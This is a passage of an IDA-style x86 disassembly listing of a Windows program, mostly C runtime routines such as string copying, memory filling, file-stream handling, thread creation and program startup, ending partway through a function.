; ---------------------------------------------------------------------------
loc_40729C: ; CODE XREF: sub_407280+Bj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
mov [ebp+var_4], eax
loc_4072AC: ; CODE XREF: sub_407280+1Aj
mov eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_8]
push eax
push offset sub_407240
call sub_4088A0
add esp, 10h
mov ebx, eax
mov edx, [ebp+var_8]
mov byte ptr [edx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
retn
sub_407280 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4072E0 proc near ; DATA XREF: sub_407320+22o
; sub_449641+22o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
push 0
lea eax, [ebp+var_4]
push eax
push esi
mov eax, [ebp+arg_4]
push eax
push ebx
call dword_411D94
test eax, eax
jz short loc_40730E
cmp [ebp+var_4], esi
jnz short loc_40730E
mov edi, ebx
jmp short loc_407310
; ---------------------------------------------------------------------------
loc_40730E: ; CODE XREF: sub_4072E0+23j
; sub_4072E0+28j
xor edi, edi
loc_407310: ; CODE XREF: sub_4072E0+2Cj
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4072E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407320 proc near ; CODE XREF: DMN0:00401130p
; DMN0:0040114Cp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_408B20
mov ebx, eax
cmp eax, 0FFFFFFFFh
jnz short loc_407339
or eax, 0FFFFFFFFh
jmp short loc_407351
; ---------------------------------------------------------------------------
loc_407339: ; CODE XREF: sub_407320+12j
lea edi, [ebp+arg_4]
push edi
mov eax, [ebp+arg_0]
push eax
push ebx
push offset sub_4072E0
call sub_4088A0
add esp, 10h
mov esi, eax
loc_407351: ; CODE XREF: sub_407320+17j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407360 proc near ; DATA XREF: sub_407380+11o
; sub_4496A1+11o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push ebx
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_4076F0
add esp, 0Ch
add eax, ebx
pop ebx
pop ebp
retn
sub_407360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407380 proc near ; CODE XREF: DMN0:004011CCp
; sub_4025A9+17Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
lea esi, [ebp+arg_8]
push esi
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
push offset sub_407360
call sub_4088A0
add esp, 10h
mov ebx, eax
test ebx, ebx
jl short loc_4073AB
mov eax, [ebp+arg_0]
mov byte ptr [eax+ebx], 0
loc_4073AB: ; CODE XREF: sub_407380+22j
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_407380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4073C0 proc near ; CODE XREF: DMN0:004011F1p
; sub_403838+77p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00407424 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8B0
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_408800
pop ecx
mov [ebp+var_4], 0
call sub_408B80
push 0FFFFFFFFh
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_408BE0
add esp, 10h
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_40741B
jmp short loc_407424
sub_4073C0 endp
; =============== S U B R O U T I N E =======================================
sub_40741B proc near ; CODE XREF: sub_4073C0+54p
; DATA XREF: DMN0:0040F8B8o
push 6
call sub_408880
pop ecx
retn
sub_40741B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4073C0
loc_407424: ; CODE XREF: sub_4073C0+59j
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4073C0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407440 proc near ; DATA XREF: sub_407470+10o
; sub_449791+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
push ebx
push esi
push 1
mov eax, [ebp+arg_4]
push eax
call sub_407820
add esp, 10h
cmp eax, esi
jnz short loc_407464
mov edi, ebx
jmp short loc_407466
; ---------------------------------------------------------------------------
loc_407464: ; CODE XREF: sub_407440+1Ej
xor edi, edi
loc_407466: ; CODE XREF: sub_407440+22j
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407470 proc near ; CODE XREF: DMN0:0040120Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
push offset sub_407440
call sub_4088A0
add esp, 10h
mov ebx, eax
pop ebx
pop ebp
retn
sub_407470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4074A0 proc near ; DATA XREF: sub_4074C0+48o
; sub_4497E1+48o
push ebx
xor ebx, ebx
loc_4074A3: ; CODE XREF: sub_4074A0+1Cj
mov eax, off_411370[ebx*4]
test eax, eax
jz short loc_4074B5
push eax
call sub_407620
pop ecx
loc_4074B5: ; CODE XREF: sub_4074A0+Cj
inc ebx
cmp ebx, 100h
jb short loc_4074A3
pop ebx
retn
sub_4074A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4074C0 proc near ; CODE XREF: sub_408BE0:loc_408D14p
; sub_408F60+B2p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00407527 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8BC
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_408800
pop ecx
mov [ebp+var_4], 0
cmp dword_41105C, 0
jnz short loc_407513
mov dword_41105C, 1
push offset sub_4074A0
call sub_408D30
pop ecx
loc_407513: ; CODE XREF: sub_4074C0+3Cj
or [ebp+var_4], 0FFFFFFFFh
call sub_40751E
jmp short loc_407527
sub_4074C0 endp
; =============== S U B R O U T I N E =======================================
sub_40751E proc near ; CODE XREF: sub_4074C0+57p
; DATA XREF: DMN0:0040F8C4o
push 6
call sub_408880
pop ecx
retn
sub_40751E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4074C0
loc_407527: ; CODE XREF: sub_4074C0+5Cj
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4074C0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407540 proc near ; CODE XREF: sub_407620+39p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
push ebx
call sub_408D60
pop ecx
mov esi, eax
test word ptr [ebx], 40h
jz short loc_407561
mov eax, [ebx+8]
push eax
call sub_4071B0
pop ecx
loc_407561: ; CODE XREF: sub_407540+15j
mov dword ptr [ebx+8], 0
mov eax, [ebx+4]
test eax, eax
jl short loc_40757D
push eax
call sub_408EE0
pop ecx
test eax, eax
jz short loc_40757D
or esi, 0FFFFFFFFh
loc_40757D: ; CODE XREF: sub_407540+2Dj
; sub_407540+38j
mov eax, [ebx+3Ch]
test eax, eax
jz short loc_4075A3
push eax
call sub_407B50
pop ecx
test eax, eax
jz short loc_407592
or esi, 0FFFFFFFFh
loc_407592: ; CODE XREF: sub_407540+4Dj
mov eax, [ebx+3Ch]
push eax
call sub_4071B0
pop ecx
mov dword ptr [ebx+3Ch], 0
loc_4075A3: ; CODE XREF: sub_407540+42j
test word ptr [ebx], 80h
jz short loc_4075D4
xor edi, edi
loc_4075AC: ; CODE XREF: sub_407540+89j
cmp ebx, off_411370[edi*4]
jnz short loc_4075C2
mov off_411370[edi*4], 0
jmp short loc_4075CB
; ---------------------------------------------------------------------------
loc_4075C2: ; CODE XREF: sub_407540+73j
inc edi
cmp edi, 100h
jb short loc_4075AC
loc_4075CB: ; CODE XREF: sub_407540+80j
push ebx
call sub_4071B0
pop ecx
jmp short loc_40760D
; ---------------------------------------------------------------------------
loc_4075D4: ; CODE XREF: sub_407540+68j
mov word ptr [ebx], 0
or dword ptr [ebx+4], 0FFFFFFFFh
lea eax, [ebx+48h]
mov [ebx+8], eax
lea eax, [ebx+48h]
mov [ebx+10h], eax
lea eax, [ebx+48h]
mov [ebx+14h], eax
lea eax, [ebx+48h]
mov [ebx+2Ch], eax
lea eax, [ebx+48h]
mov [ebx+18h], eax
lea eax, [ebx+48h]
mov [ebx+30h], eax
lea eax, [ebx+48h]
mov [ebx+1Ch], eax
lea eax, [ebx+28h]
mov [ebx+20h], eax
loc_40760D: ; CODE XREF: sub_407540+92j
mov eax, esi
pop edi
pop esi
pop ebx
retn
sub_407540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407620 proc near ; CODE XREF: DMN0:00401214p
; sub_403838+108p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00407676 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8C8
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_408800
pop ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_407540
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_40766D
jmp short loc_407676
sub_407620 endp
; =============== S U B R O U T I N E =======================================
sub_40766D proc near ; CODE XREF: sub_407620+46p
; DATA XREF: DMN0:0040F8D0o
push 6
call sub_408880
pop ecx
retn
sub_40766D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_407620
loc_407676: ; CODE XREF: sub_407620+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_407620
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407690 proc near ; CODE XREF: sub_401567+Fp
; sub_4015B7+Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
test edx, edx
jz short loc_4076DE
mov ecx, [esp+arg_0]
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4076D7
neg ecx
and ecx, 3
jz short loc_4076B9
sub edx, ecx
loc_4076B3: ; CODE XREF: sub_407690+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4076B3
loc_4076B9: ; CODE XREF: sub_407690+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4076D7
rep stosd
test edx, edx
jz short loc_4076DD
loc_4076D7: ; CODE XREF: sub_407690+18j
; sub_407690+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4076D7
loc_4076DD: ; CODE XREF: sub_407690+45j
pop edi
loc_4076DE: ; CODE XREF: sub_407690+6j
mov eax, [esp+arg_0]
retn
sub_407690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4076F0 proc near ; CODE XREF: sub_401A55+2Cp
; sub_401ADA+57p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ecx, [esp+4+arg_8]
mov ebx, [esp+4+arg_0]
mov edx, [esp+4+arg_4]
jmp short loc_407706
; ---------------------------------------------------------------------------
loc_4076FF: ; CODE XREF: sub_4076F0+18j
mov al, [edx]
mov [ebx], al
inc ebx
inc edx
dec ecx
loc_407706: ; CODE XREF: sub_4076F0+Dj
test ecx, ecx
jnz short loc_4076FF
mov eax, [esp+4+arg_0]
pop ebx
retn
sub_4076F0 endp
; =============== S U B R O U T I N E =======================================
sub_407710 proc near ; CODE XREF: sub_402208+2Ep
; sub_402511+11p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov edx, ecx
jmp short loc_407719
; ---------------------------------------------------------------------------
loc_407718: ; CODE XREF: sub_407710+Cj
inc edx
loc_407719: ; CODE XREF: sub_407710+6j
cmp byte ptr [edx], 0
jnz short loc_407718
mov eax, edx
sub eax, ecx
retn
sub_407710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407730 proc near ; CODE XREF: sub_402296+3Fp
; sub_4025A9+2D6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push edi
mov ecx, [esp+8+arg_0]
mov ebx, [esp+8+arg_4]
mov edi, ecx
loc_40773C: ; CODE XREF: sub_407730+18j
mov eax, edi
inc edi
mov edx, ebx
inc ebx
mov dl, [edx]
mov [eax], dl
test dl, dl
jnz short loc_40773C
mov eax, ecx
pop edi
pop ebx
retn
sub_407730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407750 proc near ; CODE XREF: sub_402296+53p
; sub_402296+66p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ecx, [esp+4+arg_0]
mov ebx, [esp+4+arg_4]
mov edx, ecx
jmp short loc_40775E
; ---------------------------------------------------------------------------
loc_40775D: ; CODE XREF: sub_407750+11j
inc edx
loc_40775E: ; CODE XREF: sub_407750+Bj
cmp byte ptr [edx], 0
jnz short loc_40775D
jmp short loc_407767
; ---------------------------------------------------------------------------
loc_407765: ; CODE XREF: sub_407750+1Dj
inc edx
inc ebx
loc_407767: ; CODE XREF: sub_407750+13j
mov al, [ebx]
mov [edx], al
test al, al
jnz short loc_407765
mov eax, ecx
pop ebx
retn
sub_407750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407780 proc near ; CODE XREF: sub_4025A9+268p
; sub_4025A9+297p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_4]
cmp byte ptr [eax], 0
jnz short loc_4077B0
mov eax, ebx
jmp short loc_4077C9
; ---------------------------------------------------------------------------
loc_407794: ; CODE XREF: sub_407780+45j
mov edi, ebx
mov esi, [esp+0Ch+arg_4]
loc_40779A: ; CODE XREF: sub_407780+2Dj
inc esi
mov eax, esi
cmp byte ptr [eax], 0
jnz short loc_4077A6
mov eax, ebx
jmp short loc_4077C9
; ---------------------------------------------------------------------------
loc_4077A6: ; CODE XREF: sub_407780+20j
inc edi
mov eax, edi
mov dl, [esi]
cmp [eax], dl
jz short loc_40779A
inc ebx
loc_4077B0: ; CODE XREF: sub_407780+Ej
mov eax, [esp+0Ch+arg_4]
movzx eax, byte ptr [eax]
push eax
push ebx
call sub_408F40
add esp, 8
mov ebx, eax
test eax, eax
jnz short loc_407794
xor eax, eax
loc_4077C9: ; CODE XREF: sub_407780+12j
; sub_407780+24j
pop edi
pop esi
pop ebx
retn
sub_407780 endp
; ---------------------------------------------------------------------------
align 10h
pop ecx
pop eax
add eax, 3
and eax, 0FFFFFFFCh
call sub_4077F0
mov eax, esp
push ecx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4077F0 proc near ; CODE XREF: sub_402896+8p
; sub_402B02+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_407810
loc_4077FC: ; CODE XREF: sub_4077F0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_4077FC
loc_407810: ; CODE XREF: sub_4077F0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_4077F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407820 proc near ; CODE XREF: sub_403838+D8p
; sub_405EB2+CBp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_C]
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
mul [ebp+arg_8]
mov esi, eax
test eax, eax
jz loc_407924
cmp [ebp+arg_4], 0
jnz loc_4078FA
mov eax, [ebp+arg_8]
jmp loc_407924
; ---------------------------------------------------------------------------
loc_407854: ; CODE XREF: sub_407820+DCj
mov eax, [ebx+18h]
cmp eax, [ebx+10h]
ja short loc_40786B
push ebx
call sub_408F60
pop ecx
test eax, eax
jl loc_407902
loc_40786B: ; CODE XREF: sub_407820+3Aj
test word ptr [ebx], 400h
jz short loc_407886
push esi
push 0Ah
mov eax, [ebp+var_4]
push eax
call sub_409060
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_40788D
; ---------------------------------------------------------------------------
loc_407886: ; CODE XREF: sub_407820+50j
mov [ebp+var_10], 0
loc_40788D: ; CODE XREF: sub_407820+64j
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
test eax, eax
jz short loc_4078A5
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
sub eax, edx
inc eax
mov [ebp+var_14], eax
jmp short loc_4078A8
; ---------------------------------------------------------------------------
loc_4078A5: ; CODE XREF: sub_407820+75j
mov [ebp+var_14], esi
loc_4078A8: ; CODE XREF: sub_407820+83j
mov edi, [ebp+var_14]
mov eax, [ebx+18h]
mov edx, [ebx+10h]
sub eax, edx
mov [ebp+var_C], eax
cmp [ebp+var_C], edi
jnb short loc_4078C5
mov [ebp+var_8], 0
mov edi, [ebp+var_C]
loc_4078C5: ; CODE XREF: sub_407820+99j
push edi
mov eax, [ebp+var_4]
push eax
mov eax, [ebx+10h]
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, edi
mov [ebp+var_4], eax
sub esi, edi
lea eax, [ebx+10h]
mov edx, [eax]
add edx, edi
mov [eax], edx
cmp [ebp+var_8], 0
jz short loc_4078FA
push ebx
call sub_408D60
pop ecx
test eax, eax
jnz short loc_407902
loc_4078FA: ; CODE XREF: sub_407820+26j
; sub_407820+CDj
test esi, esi
jnz loc_407854
loc_407902: ; CODE XREF: sub_407820+45j
; sub_407820+D8j
test word ptr [ebx], 800h
jz short loc_407910
push ebx
call sub_408D60
pop ecx
loc_407910: ; CODE XREF: sub_407820+E7j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mul [ebp+arg_8]
sub eax, esi
mov edx, [ebp+var_8]
mov ecx, edx
xor edx, edx
div ecx
loc_407924: ; CODE XREF: sub_407820+1Cj
; sub_407820+2Fj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_407820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407930 proc near ; DATA XREF: sub_4079D0+2Do
; sub_449CF1+2Do
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8D4
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
push ebx
mov eax, dword_411770
push eax
call dword_411D98
test eax, eax
jnz short loc_407972
push 1
call sub_409250
pop ecx
loc_407972: ; CODE XREF: sub_407930+38j
mov [ebp+var_4], 0
mov eax, [ebx+44h]
push eax
call dword ptr [ebx+40h]
pop ecx
call sub_407A60
jmp short loc_4079B0
; ---------------------------------------------------------------------------
mov eax, [ebp+var_14]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_1C], eax
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_1C]
push eax
call sub_409260
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov eax, [ebp+var_1C]
push eax
call sub_409250
pop ecx
loc_4079B0: ; CODE XREF: sub_407930+56j
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_407930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4079D0 proc near ; CODE XREF: sub_403C3F+366p
; sub_40400E+14p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor esi, esi
push 48h
call sub_408260
pop ecx
mov ebx, eax
test eax, eax
jz short loc_407A3F
push ebx
call sub_409120
pop ecx
mov eax, [ebp+arg_0]
mov [ebx+40h], eax
mov eax, [ebp+arg_8]
mov [ebx+44h], eax
push ebx
push 4
push ebx
push offset sub_407930
mov eax, [ebp+arg_4]
push eax
push 0
call dword_411D9C
mov edi, eax
mov [ebx+4], eax
test eax, eax
jnz short loc_407A21
call dword_411CE8
mov esi, eax
jmp short loc_407A3F
; ---------------------------------------------------------------------------
loc_407A21: ; CODE XREF: sub_4079D0+45j
mov eax, edi
push eax
call dword_411DA0
cmp eax, 0FFFFFFFFh
jnz short loc_407A3B
call dword_411CE8
mov esi, eax
jmp short loc_407A3F
; ---------------------------------------------------------------------------
loc_407A3B: ; CODE XREF: sub_4079D0+5Fj
mov eax, edi
jmp short loc_407A54
; ---------------------------------------------------------------------------
loc_407A3F: ; CODE XREF: sub_4079D0+14j
; sub_4079D0+4Fj ...
push ebx
call sub_4071B0
pop ecx
test esi, esi
jz short loc_407A51
push esi
call sub_408300
pop ecx
loc_407A51: ; CODE XREF: sub_4079D0+78j
or eax, 0FFFFFFFFh
loc_407A54: ; CODE XREF: sub_4079D0+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4079D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407A60 proc near ; CODE XREF: sub_40399A+1D7p
; sub_403C3F+39Fp ...
push ebx
call sub_409150
mov ebx, eax
test eax, eax
jnz short loc_407A74
push 1
call sub_409250
pop ecx
loc_407A74: ; CODE XREF: sub_407A60+Aj
cmp dword ptr [ebx+4], 0FFFFFFFFh
jz short loc_407A87
mov eax, [ebx+4]
push eax
call dword_411CF8
loc_407A87: ; CODE XREF: sub_407A60+1Bj
push ebx
call sub_4091C0
pop ecx
push 0
call dword_411DA4
pop ebx
retn
sub_407A60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407AA0 proc near ; CODE XREF: sub_40592F+DAp
; sub_40592F+F1p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00407B26 SIZE 0000001B BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8E0
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 2
call sub_408800
pop ecx
mov [ebp+var_4], 0
jmp short loc_407AEC
; ---------------------------------------------------------------------------
loc_407AD7: ; CODE XREF: sub_407AA0+53j
mov eax, dword_4111A0
lea edx, [eax+1]
mov dword_4111A0, edx
call dword_411060[eax*4]
loc_407AEC: ; CODE XREF: sub_407AA0+35j
cmp dword_4111A0, 50h
jb short loc_407AD7
jmp short loc_407B09
; ---------------------------------------------------------------------------
loc_407AF7: ; CODE XREF: sub_407AA0+70j
mov eax, dword_4111A4
dec eax
mov dword_4111A4, eax
call dword_411060[eax*4]
loc_407B09: ; CODE XREF: sub_407AA0+55j
cmp dword_4111A4, 0
jnz short loc_407AF7
or [ebp+var_4], 0FFFFFFFFh
call sub_407B1D
jmp short loc_407B26
sub_407AA0 endp
; =============== S U B R O U T I N E =======================================
sub_407B1D proc near ; CODE XREF: sub_407AA0+76p
; DATA XREF: DMN0:0040F8E8o
push 2
call sub_408880
pop ecx
retn
sub_407B1D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_407AA0
loc_407B26: ; CODE XREF: sub_407AA0+7Bj
mov eax, [ebp+arg_0]
push eax
call sub_409250
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_407AA0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407B50 proc near ; CODE XREF: sub_406544+1AAp
; sub_406544+1D9p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4092D0
pop ecx
retn
sub_407B50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407B60 proc near ; DATA XREF: DMN1:00469EA2o starto
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8EC
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 50h
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 2000000h
call sub_40AEF0
pop ecx
mov dword_4117DC, eax
call sub_408670
test eax, eax
jnz short loc_407BA7
push 1
call sub_409250
pop ecx
loc_407BA7: ; CODE XREF: sub_407B60+3Dj
call sub_409090
test eax, eax
jnz short loc_407BB8
push 1
call sub_409250
pop ecx
loc_407BB8: ; CODE XREF: sub_407B60+4Ej
mov [ebp+var_4], 0
call sub_409300
call sub_409360
call sub_4097D0
call sub_409870
mov esi, offset dword_4101EC
jmp short loc_407BDF
; ---------------------------------------------------------------------------
loc_407BDA: ; CODE XREF: sub_407B60+85j
call dword ptr [esi]
add esi, 4
loc_407BDF: ; CODE XREF: sub_407B60+78j
cmp esi, offset dword_4101EC
jb short loc_407BDA
mov [ebp+var_30], 0
lea eax, [ebp+var_5C]
push eax
call dword_411DA8
push 0
call dword_411D6C
mov [ebp+var_60], eax
call sub_409930
test byte ptr [ebp+var_30], 1
jz short loc_407C14
movzx esi, [ebp+var_2C]
jmp short loc_407C19
; ---------------------------------------------------------------------------
loc_407C14: ; CODE XREF: sub_407B60+ACj
mov esi, 0Ah
loc_407C19: ; CODE XREF: sub_407B60+B2j
push esi
push eax
push 0
mov eax, [ebp+var_60]
push eax
call sub_406D48
mov ebx, eax
mov edi, offset dword_4101EC
jmp short loc_407C34
; ---------------------------------------------------------------------------
loc_407C2F: ; CODE XREF: sub_407B60+DAj
call dword ptr [edi]
add edi, 4
loc_407C34: ; CODE XREF: sub_407B60+CDj
cmp edi, offset dword_4101EC
jb short loc_407C2F
push ebx
call sub_407AA0
pop ecx
jmp short loc_407C6D
; ---------------------------------------------------------------------------
mov eax, [ebp+var_14]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_1C], eax
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_1C]
push eax
call sub_409260
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
